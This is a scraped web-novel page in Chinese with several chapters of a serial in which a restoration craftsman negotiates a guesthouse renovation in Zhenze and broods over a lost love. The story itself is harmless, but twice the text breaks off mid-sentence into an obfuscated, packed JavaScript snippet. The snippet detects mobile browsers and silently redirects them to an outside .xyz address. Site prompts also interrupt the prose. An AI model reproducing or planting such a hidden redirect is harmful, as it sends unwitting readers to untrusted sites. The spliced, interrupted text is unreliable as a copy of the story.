她说的话她自己信吗?她是在为自己的智慧和话术沾沾自喜吗?她怎么越说越兴奋了? 偶尔陆砚也会困惑,明明是亲戚介绍的,为什么还要受如此折磨。 开诚布公的聊,有那么难吗? 有。 最后她咬死十一万七千块,把陆砚熬困了。 如果,如果杨灵在他们......分手的时候,也这么纠缠就好了,那他会是最幸福的人。 伸个懒腰,时间还早,陆砚独自下了楼。 情理之中的,老板娘也起了,裹在厨房的白雾里、站在铁锅前。 沈语棠在旁边帮忙切菜。 焖肉切得薄如纸,鳝糊盛在粗瓷碟里,葱花撒得匀匀。 “够了够了,”沈秀娥瞅了眼,“碗底多搁点猪油。” 说话间,手腕一翻,竹筷稳稳挑起一大把面条,水珠四溅,放置碗里恰好堆成小山模样。 沈语棠站在旁边,转了转骨碟,把菜码齐。 这画面像被太阳晒了多年的旧账本,不是什么轰轰烈烈的攒,是这样一个早餐又一个早晨,面条落进碗里的声响,骨碟摆齐的认真,慢慢摞起了这间民宿的梁和柱。 算了,底线跟她们降到十九万八,不可能少了! “老板娘,有没有煎蛋和牛油果吐司?” “只有面条,我们这边不兴吃那些乱七八糟的。” 二十万五!一分不能少! 走到台面前,这里就他一个客人 沈语棠过来喊了声‘陆师傅’。 相对她妈妈,女孩就有礼貌多了,问要不要吃头汤面。 所谓头汤面,正是江南经典早餐,用清晨首锅清水煮制,讲究鲜热筋道。 大概是为了招待客人,面前蓝边碗里,浇头堆成了小山峰,银鱼、白虾,浓淡相宜。 这碗面可贵了,能让他们家装修费少五千块。 “还不错。” “我们这边吃东西虽然没有那么洋气,但苏式早餐肯定不会让你失望的。” 老板娘破天荒说了句不带杀伤力的话,或许,对方是想着缓和气氛? 吃过早餐后,见她们还在忙,陆砚便决定出去转转。 ...... 苏棠望着天上的飞机尾迹慢慢淡成线,晃悠悠往学校走。 十一月中旬,晒得人暖烘烘。 同济的法桐叶在地上滚出沙沙响,偶有骑单车的学生经过,车轮压出安静的校园。 她晃到教务处,敲了敲指导老师办公室的门。 “进。” 苏棠推门进去,屋里飘着淡淡的墨味。 桌上堆着半尺高的稿纸,搪瓷杯很新很亮,阳光斜斜切过摊开的教科书,在页脚投下块一格光斑。 “老师,我来交开题报告。” 她把两张薄薄的A4纸往桌上一放。 中年教授推了推眼镜:“开题报告?我还没给你们上传真题呢。” “没事,您先看看。” 男人拿起报告,扫了眼题目——‘基于青浦祠堂的抢救记录,谱系梳理木作传统技法’。 手猛地顿了顿。 这题目......有点大啊......青浦祠堂......是哪位前辈申报的项目? “你题目哪来的?” “陆砚给的。” “陆砚是......谁?” “我学长。” 他用手指在报告上指了指: “你学长怎么会做这种级别的项目?” “他师父带着做的。” “他师父是谁?” 教授像匍匐前进的士兵,距离目的地一点点靠近的同时,背上的炸药引线也快到头了。 我们学校怎么会有如此慢吞吞的孩子? 挤牙膏啊! 苏棠思考了一会:“好像是,杨伯伯?” ......杨启文?他老师是杨启文? 教授脑子里‘嗡’了一声,当年杨老被学院特聘的时候,他跟着可发了不少文章...... 真要论的话,他也算对方半个学生。 “行,开题过了。” 顿了顿,又问:“后续有没人指导你?” “有的,杨老师会教我。” 心里又是一震,合着是小师妹? 他赶紧点头:“好,好,那我就放心了。好好做,争取拿优秀毕业生。” “嗯。老师没事的话我就先回去了。” 教授挥挥手:“去吧去吧。” 看着她带上门的背影,忍不住摸了摸下巴——这届学生,藏得够深啊。 ...... 双人房,充斥着独居男人的气息——乱叠的衣服,呼噜声和酒气。 从一接受命运安排的开始,冯小军就预料到了这幕。 此时此刻,恰如上海出租房的彼时彼刻。 不过张野有个优点,随叫随到。 本小章还未完,请点击下一页继续阅读后面精彩内容!从不会因为有人吵了他的睡眠而置气,你说做什么,都乐呵呵的陪着。 大概唯一会让这个男人恼火的事,就是不陪他喝酒吧...... “张哥,吃早餐,去不去?” 侧睡着的张野先把绵延呼噜声一掐,急促哼了一小声: “好。” “额,你听清我刚说什么了吗?” 眼角挂着小珍珠的男人睁开眼皮,渐渐把魂魄吞咽回肚里,扯了扯略带僵硬的嘴角,笑道: “好就是好,你总归是有事喊我的。” 或许这就是老师傅的智慧,居然被蒙着了。 冯小军时常会觉得这个不修边幅、还总爱酗......猛喝酒的男人,其实并没有看上去那么简单。 当然,每个人都不简单,但是张师傅的不简单,他印象很深,却难以表述。 “小军啊,昨晚那桑葚酒劲真大!” 躺床上cos尸体的张野一个挺身,被子从身上滑落露出黑白相交的躯体,躯体表面,只有腰间一块布罩着。 “你看,猛不猛?” 而此时,那块布没有那么平静...... 真的,真的,有时候冯小军想骂人。 ...... 民宿门口的窄路积着层薄泥,是霜露混着田埂土的颜色。 这里是震泽镇与南浦浜村的交界,往南望得到桑田连成片,朝北走,白墙黛瓦的影子才渐渐密起来。 泥路尽头拐个弯,开到头再拐个弯,就撞见了第一条水巷。 巷子窄得仅容一车通行,两侧是民房小楼,马头墙面,墙根摆着青石河埠头,几艘乌篷船拴在岸边。 陆砚搜了搜镇上口碑不错的民宿,四处转转的同时考察考察。 先选定了一家名叫‘桑园驿’的民宿,在门口停了脚。 门面是座老宅院,门楣挂着蚕茧串成的灯笼。 打开手机看详情——368元/晚,含早,附赠非遗文化体验。 室内图片是精修款,但修了也就那样,似乎还不如上海任何一家便捷酒店。 倒是...... 目光扫过‘非遗表演’、‘蚕桑文化体验’的字眼,又瞥了眼手机上其他竞品民宿的招牌—— 丝韵居,茧缘小屋。 其模式都和这家差不多,门口堆点特色元素再以非遗文化的招牌揽客,若要房价卖得更贵,充其量老板店员穿着古装拔高一点服务体验。 当地是全国有名的蚕桑之乡,以旅游业和非遗文化支撑经济。 但是陆砚心中了然: 小镇多数商业化的门店压根不在意什么蚕桑不蚕桑的,生意做的就是一个噱头...... 反倒是真正养蚕的农户,待在旁边的乡间田野,无人问津。 很合理,世界往往如此—— 看起来有文化,文化本身,重要得多。 忽有弦音从巷口钻出来,三弦的调子脆生生的,混着软糯的吴语唱腔,缠缠绵绵漫过石桥。 是评弹。 他听出来了,比电视里的更鲜活,带着水汽的润。 和装修唬弄游客不同,这是真文化。 但如今不着急去探寻,他准备再抽点功夫,把所谓的‘非遗经济’搞清楚......绝不仅仅是为了对付老板娘! 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五章 再次谈判 陆砚把车停进路边田埂,此处没有划线也没有停车场,那便凭着朴素的直觉的良心停车。 接近九点钟,再不喊那两人起床就不合适了。 合同没签,团队专业度什么的也就算了,能不能争点气,别让人小瞧了呢? 他进门的时候才发觉想多了,师徒俩和几个陌生男人正坐在桌上吃面条。 却也发现事情没那么简单,人群之中,冯小军抬头的频率过高。 按理说,食物味道不错,不该分心才对。 顺着目光看去,才发现原来是偷瞄——老板娘......的女儿。 更丢人了。 趁着人家没察觉,陆砚敲了敲桌子 “踏马的,出来做事能不能收敛点!” “陆哥,我在看下一碗什么时候做好......” “...” 合理的,是自己多虑了。 早餐收尾,三人围坐在客厅椅子上。 冯小军手里转着茶杯,把镇上景致数了个遍: “慈云寺塔得傍着晨雾看,‘拱桥塔影’才出得来;想吃‘水八仙’得赶早市,‘四碗茶’里熏豆茶最讲究,得配着芝麻和桔皮嚼……” “行,到时候跟着你走。” 忙完早餐,老板娘依然没空,上楼去清扫离开的客人房间,换洗床单被套。 离开了两间房的客人,房间打扫和床上用品换洗......便是一个多小时过去了。 “陆哥,我刚听了个故事还不错......是什么来着?” 藤椅上,张野踢了踢,冯小军立马端正身子说道: “是一段历史典故。” “你们俩?历史?” 闲着也是闲着,陆砚示意接着往下讲。 “咳咳,” 沉闷了一段时间的大学生又有了几分劲头: “据说,野史记载,有一天周瑜喝多了,想起近日的屈辱,便对手下的刺客说‘诸葛亮小瞧我’! 并用手做了抹脖子的动作,示意去暗杀。忠心耿耿的手下点了点头,并立刻招办。 当晚,诸葛亮、小乔和周瑜就被神秘刺客暗杀了......这就是一计害三贤典故的由来!” 话一讲完,张野直乐呵: “陆哥,听懂了吗?诸葛亮、小乔、我,嘿嘿......” “...” 什么烂俗谐音梗,他就没听过比这更冷的笑话! 接近十点的时候,老板娘出来打了声招呼,摘下围裙往竹篮里塞了块布,出门采买—— 然后做午饭。 所以整个上午居然没空! 等张野和冯小军出去转悠了一圈,三人又吃完午餐,才迎来了第二次正式商讨。 四人,三男一女围着木桌,对着坐。 陆砚开门见山: “咱们不兜圈子,我敢说,你找的装修团队,没一家报价低于二十万,对吗?” 沈秀娥眼皮都没抬,指尖摩挲着桌沿的木纹。 这时沈语棠端着茶过来,脚步很轻,瓷杯搁在桌上,发出细响,后又垂着眼退出去。 结果对方还是不接茬。 “你这儿单间一百三十九,双人间一百九十九,我不用你优惠。加上我们的伙食费,一个半月工期,算照顾生意,我们降价两万。” 这是实打实的让利,就当旅游了。 别看他们只有三个人,就是三四百块一天、雇来的工人再多,专业度难道就上得去了? 想吃非遗的招牌,就得做出文化的样貌。 换作旁人,二十五万能请到这水准的团队,已是捡了大便宜。 张野拽了拽冯小军的袖子,想往外走,陆砚抬眼扫过,眼神里带着‘不必’的示意。 这场谈判本该私下谈,他偏当着两人的面压利润,是打定主意自己少拿。 他们的工钱,还按老洋房的标准来...... 老板娘,或者叫沈秀娥的女人目光渐渐失焦,身子一动不动,喉间滚出两个字: “谢谢。” 声音轻得像怕惊着什么......却也没说同意或不同意。 外面,沈语棠隔会儿就从前台探出半张脸,撞见屋里的视线又装作巧合似的缩回去,来来回回,把那点焦灼露得彻彻底底。 陆砚突然意识到对方可能有难处,便让他们去外面转转。 两人走后,绿茶的白气袅袅缠上木梁。 陆砚端起杯子:“沈姐,别绕了,给句准话。” “我......只能给十一万七。” 沈秀娥的声音刚落,他指尖的茶杯晃了晃。 这已经不是压价了,是把算盘珠子敲到了脸上—— 他前期调研过当地工价和材料费,光基础材料就得十来万,这数连成本都兜不住。 一股火直冲天灵盖,男人脸色沉得像要落雨,涵养绷得快要裂开: 合着前番揪扯和让利是白说? 诚心来逗他玩的? 正待发作,女孩悄没声走过来,手里捏着部旧手机,屏幕亮着,递到面前。 陆砚扫了眼,是账户页面,13,后面四个数字,有零有整。 “一个半月工期,我们得留一万块应急,”老板娘的声音低了些,“剩下那三千,是语棠下个月的学费。” 这章没有结束,请点击下一页继续阅读!陆砚盯着屏幕,一阵无语。 拿个存款数据,他就会信了?而且谁家没点难处? 可你们的家事,凭什么摊到陌生人头上? 十一万七......他来这儿是做慈善还是倒贴? “陆师傅,要不......我们用房费抵账?” 她往前抬了抬头,语气里总算带了点软意: “您这样的老板,一年总得出来游几次吧?我们的房,就按装修前的价给您记着......” 陆砚心里嗤笑。 呵,总算肯说句客套话了。 原是不见兔子不撒鹰的主,没好处时嘴比蚌壳还紧,这会儿倒想起恭维人了。 瞥了眼旁边垂着头的女孩,终究把到了嘴边的硬话咽了回去,只摇了摇头,起身就往前台走: “房费我去结了。” “等等......” 她眼里的精明淡了些,多了点恳意:“其实......也能给到十七万七!” 陆砚眉头挑了挑。 如果,如果再从自己的收入里扣除三千块......踏马的,踏马的倒也不是不能接受。 来都来了......好人做到底? 叹了口气,真是服了这女人,还是被她坑了三千块。 “老板娘,你让我说你什么好......” 语气刚要缓和下来,不料还有变故—— “你要是肯帮忙垫付十万块的话......” 砰! 陆砚的手重重撑在前台柜上,脑回路瞬间炸开,一度觉得自己并没有来到一个经济富饶的城市....... 哦对了,这里是城镇,本来就算不上太富饶。 可也不至于到这份上吧?把他当冤大头宰呢? 跟缅甸比都嫌离谱! ...... “张哥,陆师傅那边……好像谈得不太顺?” 冯小军踢着田埂上的碎桑枝,每一步都带起小团土雾。 张野抄着兜,踩着边上的枯草往前走,慢悠悠道: “想那么多干啥?跟着陆师傅,听指挥就行。” 风从桑田里钻出来,吹得叶片沙沙响,远处的长漾湖泛着灰蓝的光。 “我是觉得……要不我这趟工资少要点?我好多同学实习,一个月三千块都算多的,还有倒贴钱学东西的呢。” 他挠了挠头: “小子,你要是家底厚实,乐意贴钱换经验,那也成啊。” 说罢轻叹一声,然后拍着冯小军的肩膀,“我可不行,上有老下有小的,少一分都得掂量掂量。” 无疑,这句话是诚恳的。 上海的不吃香菜们可是嗷嗷等着他赚钱。 赚得多,就照顾小的;赚得少,就补贴老的。 两人绕过湾口,忽然传来一阵哗啦啦的响,白墙黑瓦的村落里,是南浦浜村的蚕农翻整桑田。 顺着风飘过来,还有水鸟掠过湖面时的扑棱声,把田埂上的安静撕出一道温柔的口子。 “小军你看,那户人家屋顶晒着棉花呢,白花花的像......女人的什么?” ...... “你——” “算借的,我们打借条,我的店肯定跑不了。” 算了算账,陆砚知道对方打的什么主意 无非是知道他手艺过关,加上女儿在学缂丝,到时候申请非遗补贴嘛。 路上就知道了,政府补贴百分之三十,之前压着没说,懒得跟她还价罢了。 血压有点高,他深知这时候不能带着情绪开口。 “我出去透口气。” 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第六章 两级反转 路边的田埂褪尽了绿意,土黄色的埂身裸着,被霜气抽干了精神。 没人再像秋收时那样对着它笑了,只有几丛枯桑枝斜斜插在边上,叶片落光,枝桠伸手指天。 陆砚出门以后往南边走,那是南浦浜村的地界。 村子藏在桑田尽头,低矮的瓦房排开,墙根堆着刚从田里刨出来的树根,带着湿泥; 几户人家门口晾着竹匾,里面摊着灰扑扑的蚕沙,是预备着开春当肥料的; 有个老汉蹲在屋檐下,用篾(mi)刀削桑枝,刀刃划过木头的‘沙沙’声,在空旷的田埂上飘得很远。 这地方比想象中更素朴,甚至带着点局促。 原以为能借着环境散散心,没成想刚空下来,那些被忙碌压住的事就顺着缝隙钻了出来。 在没人认识的地方,完全陌生的地带,他以为自己会感到兴奋,像孩子一样探索。 曾偷偷寄予希望,希望能像换件衣服似的换个活法,把身后苦痛全甩掉。 如此,便能与过去割席。 可脚步越往村深处走,呼吸越发闷。 他的视线总是乱晃,一会盯着没那么工整的房子,一会看向门口晾衣服的阿婆,越晃越快,越分越散—— 还是被追上了。 一个女人的名字几乎像烧红的烙铁狠狠压在胸口,刻下远超她自身的分量。 他不是没分过手,甚至提前在心里演练过无数次收场。 可从没想过,自己会用那样难堪的姿态,把两个人的情分摔得粉碎。 此刻站在陌生的地界,他才看清,身后不是杨灵,是两个影子: 一个怨着他的她,一个过去的自己。 这两个影子并排站,冷冷地瞅着,像在说: 你想割席?该被遗弃的,明明是现在的你! 田埂边堆着秋收后的稻秆,齐齐整整,像厚厚一叠的过往。 看着秋草,他想起了栽下的玫瑰。 它们是美的,有生机的。 此时不需要任何人的安慰,他只是格外想念那几枝花。 ...... 天光漫过民宿的灰色外墙,橙红的点缀让它看起来有了格调。 陆砚正好与这一刻的画面相撞,甚至连修整思路都有了大半。 可已经盘算好了,明早起床就动身回上海—— 老板娘那番垫资的提议,权当听了个笑话,不然,自己就是最大的笑话。 两个项目的尾款还悬着没着落,已是压得人喘不过气,再垫资干活? 便是张老赖都未必有脸开这口。 “姆妈!陆师傅回来了。” 还没走到门口,前台就飘来沈语棠的声音,比寻常女孩音调低半分。 事情有了决断以后,他带着几分松快的笑意,冲她扬了扬下巴: “老板娘特意等我?” 小姑娘只是盯着身前门框看,仿佛他身上很烫: “她......想请你吃饭。” 话音刚落,后厨传来脚步,沈秀娥系着蓝布围裙,端着个青花大碗快步出来: “陆师傅可算回来了!快坐快坐,就等你开饭呢。” 屋内,两人巴望,长条桌上已经摆开五六道菜。 居中一碗太湖银鱼炒蛋,银鱼白得像碎雪,裹着金黄蛋液;旁边一碗腌笃鲜,冬笋切得滚圆,和咸肉、鲜肉炖得酥烂。 酱肉蒸百叶、清炒本地矮脚青,还有角落里一碗茨菇烧肉。 都是水乡深秋以后,才有的扎实滋味。 张野和冯小军早早坐定,此时挪开凳子腾出地来: “陆哥,知道满清十大刑法不?” “里面有‘看得见吃不着’?” “对头!” 沈语棠端来碗筷,轻轻放在他手边。 此时两个住客下楼准备出门,其中一个笑着打趣: “老板娘,你们这待遇不一样啊?我们中午就吃的阳春面配酱菜呢。” 沈秀娥正给陆砚盛汤,闻言动作丝毫不慌,语气熟稔得像说街坊事: “这几位是远房亲戚,难得来一趟,家里总得添两个菜嘛。” 说着,把汤碗往他面前推了推: “趁热喝,冬笋是今早从南浦浜村收的,鲜得很。” 看着老板娘眼睛充满热情的褶子,能说什么呢? 对方没说事之前,自己也不好自作多情的。 暮色从窗边钻进来,和灯光缠在一处,落在酱肉的油光上,落在沈语棠垂着的眼睫上。 这桌菜的热气里,当然藏着些比‘亲戚’更复杂的东西——像这古镇的水,看着浅,底下却盘着说不清的根。 他没戳破,只夹了一筷子银鱼,入口滑嫩,清鲜。 张野已经端起酒杯:“陆哥,先喝口本地的桑果酒暖暖?” 陆砚抬眼,对上沈秀娥递过来的殷切,里面没了白天的算计,有点像腌笃鲜的汤,温温的,藏着点实在的热。 他应了声‘好’,酒杯轻碰的脆响里,天色彻底躺下来。 ...... 浦东,惠南区,略显年代感的居民楼前,陈禹将最后的烟屁股吸食殆尽,揉了揉脸颊,往里走。 皮鞋踏响楼道,他更愿意慢悠悠爬上六楼。 身上的西装曾经是按照身材量身定制的,如今在一个台阶一个台阶起伏中,勒得直喘气。 很正常的,再适配的衣服也有不合身的那天,衣服不合身了可以换...... 人呢? 他松了松本来就没系紧的领带,确认了,让自己喘不过气的,是绷着的心情。 从来没有觉得,六楼是如此低矮,不消五分钟就能到头。 那么,进门前查看一下余额—— 激情,待充值;友情,话不投机;亲情,仅剩道德维系...... 所以婚姻到底给自己带来了什么? 哦对,岳母今天过来了。 再次揉了揉脸颊,表情管理,插入钥匙,表情管理,转动手腕,表情管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆砚招呼落座,却不想她摆摆手,从后厨取了一份泡得发胀的面,大概是中午剩下的,在桌边津津有味地站着吃。 还说道: “你们吃好喝好,不用管我的。” “...” 这一幕让人揪心,更看着刺眼。 仿佛这顿饭的价值因为她严于待己的行为被拔高了不少。 陆砚是不喜欢这样式待客的。 看似把好的拿来招待,实则不知不觉就限制了他们的自由表达,套上了道德的枷锁。 这枷锁会牵着他们往沈秀娥期待的方向走,一旦用力挣脱,便像辜负了人家似的。 俗称,道德**。 冯小军若有所感,咀嚼的动作放慢了。 一会看看站着吃面的老板娘,一会看看放下筷子的陆师傅。 咦,陆师傅在看什么—— 陆砚的视角里,一个民宿老板的女儿,低着头,涨红了脸。 第七章 面对 桌上五道菜见了底,太湖银鱼炒蛋只剩点蛋渣,腌笃鲜的汤喝得精光,唯有那碗茨菇烧肉还留了两块—— 两个男人吃得额头冒汗,筷子在空盘里刮出轻响,显然没客气。 陆砚收回视线,指尖无意识摩挲着杯沿。 客气?怕承情? 那是他该盘算的事,埋头吃饭,是张野两人神圣而不可侵犯的权利。 同时,男人心里不为恻隐而动。 在这小民宿里谈垫资的事,就像把燕国地图铺在灶台边——摊不开,也成不了事。 十万块不是个小数目,对这家民宿来说,大概是一年的利润。 一年之后,谁说得准呢? 见沈秀娥捏着围裙角,碗筷在桌上摆得整整齐齐,却迟迟不动手收拾,那眼神在他脸上转了又转,便知这顿饭的真正序幕要来了。 “陆师傅......” 终于开口,双手在腰间上擦了擦,眼角的皱纹堆出用力的笑: “你那个事,考虑得怎么样了?” “爱莫能助,我手头也紧。” 陆砚答得干脆,声音不高,却像块石头落进水里,涟漪布满整个水面。 与其磨磨蹭蹭给人盼头,不如一句话砸死。 他太清楚,拖着不答才是真的伤人,到最后怨怼丛生,反倒坏了体面。 空气顿时凝住。 沈秀娥眼里的光一点点暗下去,失望没藏没掖,一层薄霜敷在脸上。 这表情算不上动人,却带着股直白的沉重,像根软绳往人道德上缠—— 仿佛这声拒绝,是铁石心肠,是见死不救。 想来这就是男女处事不同之处了,一个迂回一个直接...... 陆砚忽然皱了皱眉。 这大概不是男女之别,是处境不同。 水乡女子惯会用软劲,不直说,却用眼神、用沉默、用那点没说出口的难处架住人; 而他刚才那番干脆,未必是男人多直接,或许只是因为面对眼前的母女,他没什么好怕的,才敢把话撂得这么硬...... 如此想来,确实有点不好意思了。 于是找补着辞藻:“老板娘,不是我不愿帮,现在行情确实难。” 一句场面话,圆个双方的面子。 然后还不待对方回应,清脆的电子音突然炸响—— “支付宝到账五、万元。” 众人猛地转头,连剔牙的张野都停了动作。 陆砚愣了愣,此情此景,莫非世上真有命运之神游戏人间? 下意识摸出手机。 屏幕亮着,转账记录赫然在目,备注只有两个字:周转。 是陈禹。 那天喝酒时明明一句没提,没想到他直接转了钱,还特意设了延迟到账,是怕他当场推拒,伤了面子。 原来,已经过去一周了呀...... 视线汇聚在他,他盯着手机,手机在掌心发烫。 从来没想过,有一天会为了钱到账上而尴尬。 此刻,拒绝的心依然坚定,只是面上有点挂不住。 尤其是旁边的沈语棠,他甚至能感觉到,对方的视线有温度。 但几乎可以肯定,一抬头,对方的眼神就会躲得飞快。 “是问陈禹借的,不是尾款。” 陆砚对张野解释道。 “那肯定。尾款不只这个数。” 张野飞速掠过话茬,乐呵呵的,一副看热闹的样子 “陆师傅......”老板娘一脸恳切地说:“我是三年前贷款二十万,才把老宅改成民宿的。如今欠款还差一点才还完......我是自己借不了钱,不然不会跟你说这种话的。” 说完,仿佛沈语棠附身了一般,娘俩都低着头,等候发落。 俗话说借钱三不借: 懒汉赌徒白眼狼,借钱出去还钱难。 但还有个说法: 寡妇带女门难移,借出去的钱有底—— 因为对方跑不掉,也赖不掉。 可为难就为难在,自己手上的钱也不多,加了陈禹这部分,十万拿是拿得出,关键还有房贷要还啊...... 还两个月就是年关,过年又是一笔开销,贴出去十万,生活可就紧咯! 所以成不了。 没必要为了陌生人和一点收入,让自己的生活陷入危情。 只是......坚定拒绝的时候,话尽量别伤人。 “老板娘,我们都愿意看到生意做成,但是做不了的事咱们也别强求了。要不你给刘师傅打个电话借点呢?我们明天才走......” “我表哥他们......一点积蓄都拿来开店了,和我们一个情况。陆师傅,我们这里政府审批很快的,项目验收完成一周就能拨款,你把项目做完我们就能还钱的。” 这话倒是有点意思,倘若真是如此倒也未尝不可。 可是谁能保证呢? 借钱的可是大爷,真不还钱,即使现把顾南乔喊来起诉,那也要拖两三个月! “老板娘,你再考虑考虑吧。” 你再考虑考虑的意思便是,我不考虑了。 他也用眼神一一扫过母女俩,意思很坚定地又传达了一遍—— 我,不考虑了。 沈秀娥点点头,说,床单被套帮他们换洗过了,现在有事先去忙。 ...... “陆师傅!你给的题目通过了,没看出来呀,你以前还挺厉害的嘞!” 画面里,她趴在床上,怀里抱着抱枕,后面两条光腿晃得人不敢直视。 陆砚发誓,他看过就忘,绝不会反复回味什么的。 “建议答辩的时候这样夸夸评委老师,保准通过率大幅上升。” “呵,评委又不傻,好赖话听不出来呀。” “哦哟,合着你是故意烦我的是吧?演都不演了?” 他刚刚洗完澡,让张野和冯小军收好东西,顺便做震泽镇的攻略,明天去古镇那边玩半天再走。 “哎,年轻人,不要那么上头,生活需要一点得过且过的绿色精神。” 好好好,装起来了。 二十二岁的小丫头,让你三年阅历,见到咱了也得叫哥,明白不! “......老洋房去了吗?花还活着吗?” 懒得和对方闲扯,现在只想回去看看。 他怀疑,急着回去的原因可能是想明天亲自去浇花。 也不知道玫瑰有什么魔力,如今这般牵引心神。 “陆砚,你说......” “刚刚都是陆师傅的,现在改口啦?” 男人挑眉打断,试图掩饰走神。 但年轻的小姑娘眼神不是一般的好,微表情阅读比做初中英语的完形填空还拿手: “明天我就去把你种的花全拔了,然后再插上月季,谅你也看不出来!” “...” 不好,被拿捏了! “小苏啊......年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104830|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,不要那么上头哈。” 苏棠气鼓鼓地说: “你就那么喜欢花吗?以前怎么不这样?” 这话像根细针,猛地扎进陆砚心里,呼吸一窒,握着手机的手紧了紧。 以前他喜欢花吗? 喜欢朴素木头的古建师傅,怎么可能喜欢花呢? 他能认出三十种榫卯结构,却叫不全三种玫瑰的名字。 恋爱多年,给林晚声送过的花,一只手都数得过来,还是花店老板推荐的。 如今怎么就......对那几株带刺的东西上了心? “自己种的......花了时间,总有感情啊。” “咦——,以前是油腻,现在那层油已经凝固结痂了!大叔,你自己信吗?” 手机里,那双白乎乎的腿被晃出镜头,取而代之的,是一双可爱中透着稚嫩,稚嫩下、认真得可爱的眼睛。 有这双眼睛在,即使对面说再难听的话,也不会让人觉得被冒犯。 情不自禁的,陆砚平静下来: “小苏啊,看破不说破,还是好朋友......我承认你有几分智慧......改天再慢慢跟你谈感想哈。” “喂,你是不是要挂——” 胸膛里,诚实的血液缓缓迸发。 它里面装着的,理当是一颗原始人的心脏,理当无时不刻忠于内心想法。 玫瑰......玫瑰...... 普普通通的鲜花又有什么好挂念的呢? 原来,和自己对话、本以为诚实的真心,偶尔也会欺骗自己。 它鼓噪着鲜活的血,把一切都粉饰成新的模样,像个蹩脚的编剧,硬是把‘忘不掉杨灵’的剧本,改写成了‘痴迷养花’的新篇。 然而编剧再蹩脚,也可以轻易自欺。 因为它知道,有些人渴望一个幻觉,来安放珍贵的回忆...... 为什么会喜欢花啊! 因为那是送给她的! 她会把收到的每一枝花放在挂毯下、角柜上、最显眼的花瓶里,然后在花瓣枯萎前,做成干花留存。 她会对着干花笑,说,陆砚你看,这朵开得最久。 一想到花,就想到了她,就像拉开了闸门,所有关于爱的碎片都涌了出来。 他渴望着,或许某一天杨灵再度路过老洋房时,能看到前院生机盎然的鲜花。 他渴望着,绽放的鲜花会遮住老洋房的衰败,让那个地方看起来美好些。 他渴望着,杨灵看到花,可以再度想到自己。 所以,爱上了花。 因为他,忘不掉鲜花后面的人。 可是啊......爱是世界上最没用的东西。 忘不掉又能怎样呢? 他是逃到苏州的。 难道又要为了自己那点翻涌的念想,再跑到她面前,逼着她回忆那个破碎的夜晚? 心里这点相思,说到底是自私的。 只顾为了自己舒心,哪考虑到对方会不会再疼一次? 熬吧,就当赎罪。 时间是一切的解药。 或许自己不该再爱着那些花,人生真正重要的是,看着未来,往前走。 即使念念不舍,也,不该回头...... 是的。 那颗心说了谎,他在死一般的往事面前没有半分立定的勇气,所以用忙碌推着自己前进。 前进吧,逃得远远的,让自己忙起来...... 前进! 第八章 古镇 露水还未干,陆砚从楼上下来,往里头的厨房探了探头。 灶上的铁锅正冒白气,女人的身影在雾里浮着,只看清围裙的蓝布角。 “老板娘,今天有没有头汤面吃?” 他扬声问,语气活像个吃白食的无赖。 “有的。” 白雾里飘出她的声音: “老刘的朋友来了,肯定不会怠慢的。” 话音听不出特别热络,却完全不失招待的礼数。 沈语棠端面出来时,木托盘上的青瓷碗沉甸甸的。 面上堆着的鳝糊、焖肉、爆鱼码得整整齐齐,荤料比昨天还厚了半指,油星子在热汤上滚成小圈。 他挑了挑眉,暗自耻笑自己的恶趣味—— 也不知道在期待什么,竟想着对方出言不逊、然后顺理成章地离开此地。 罢了罢了,积善之家有余庆,诚不欺我。 他开始大快朵颐,嗦出‘呲溜溜’的响声,没有半点不好意思。 因为马上就是垫资干活的傻蛋陆师傅。 十万块呢,到时候忙四十来天,确保中间不出纰漏、不被建材商宰客,最后自己能赚个两万来块就不错了...... 很快他们也下来了,惺忪着眼,两人主打一个随性—— 张野就算了,冯小军却是再也不见梳着油头,志得意满的模样。 哎,男人的花期竟是如此短暂。 “小军哥,攻略找好没有?” “陆哥,找好了。” 他们坐在旁边,像等着投喂的麻雀。 陆砚把面香吹了吹,就当帮人提神醒脑了: “要回去的事跟家里说了没?” 对方咽下口水,直勾勾地看着: “一会就说。” 见其神志归位后,陆砚故意放亮声音: “还好没说......咱们还是,帮人把活干完再走吧!” 话音落,堂屋里静了静。 只有灶上的水还在‘咕噜咕噜’地沸,水泡撞着锅沿,迸着白气。 冯小军愣了愣,张野刚要开口,后厨突然传来老板娘的声音,不高不低,刚好能飘过来: “语棠,跟阿婆说声,今个的课挪到下半日。等下你带几位哥哥,去镇上转转会呀。” 沈语棠正蹲在灶边添柴,闻言抬起头,脆生生应了句: “晓得了姆妈!” 尾音里的雀跃藏不住,像被风吹起的蚕丝线,轻轻巧巧地飘。 陆砚隔着布帘,望着里面,她也正好瞧过来,笑了笑。 果然,还是小姑娘情绪价值给得足。 ....... 他决定给自己找点事做,并不意味着一定要修这个民宿。 而看似家常便饭的装修事宜,也不是自己决定垫资干活以后,就一马平川了去。 等在前面的,还有数不完的确认事项和洽谈,一旦过程中发现和老板娘讲述的不一样,接下来合同签不签,就又生变数了...... 车上没装行李,四人趁着八点的阳光往震泽古镇中心赶。 沈语棠指着远处的青砖塔说,那个塔叫慈云寺塔,往塔的方向走,就能见到最好的景点。 于是他们就朝着塔走。 车窗外,白墙黑瓦顺着水巷铺开,街边铺子的木匾看上去很旧。 乌篷船锁在桥边,路过时,仿佛可以听见晃悠几十年的摇橹声。 忽然一阵喧闹撞进来: “太阳当空照,花儿对我笑。小鸟说草草草,你为什么脑子长了泡~” “去你的!” 路边晒谷场,几个半大孩子在追着跑,手里攥着土块当**,嚷着方言,笑闹声像碎珠子,滚得满地都是。 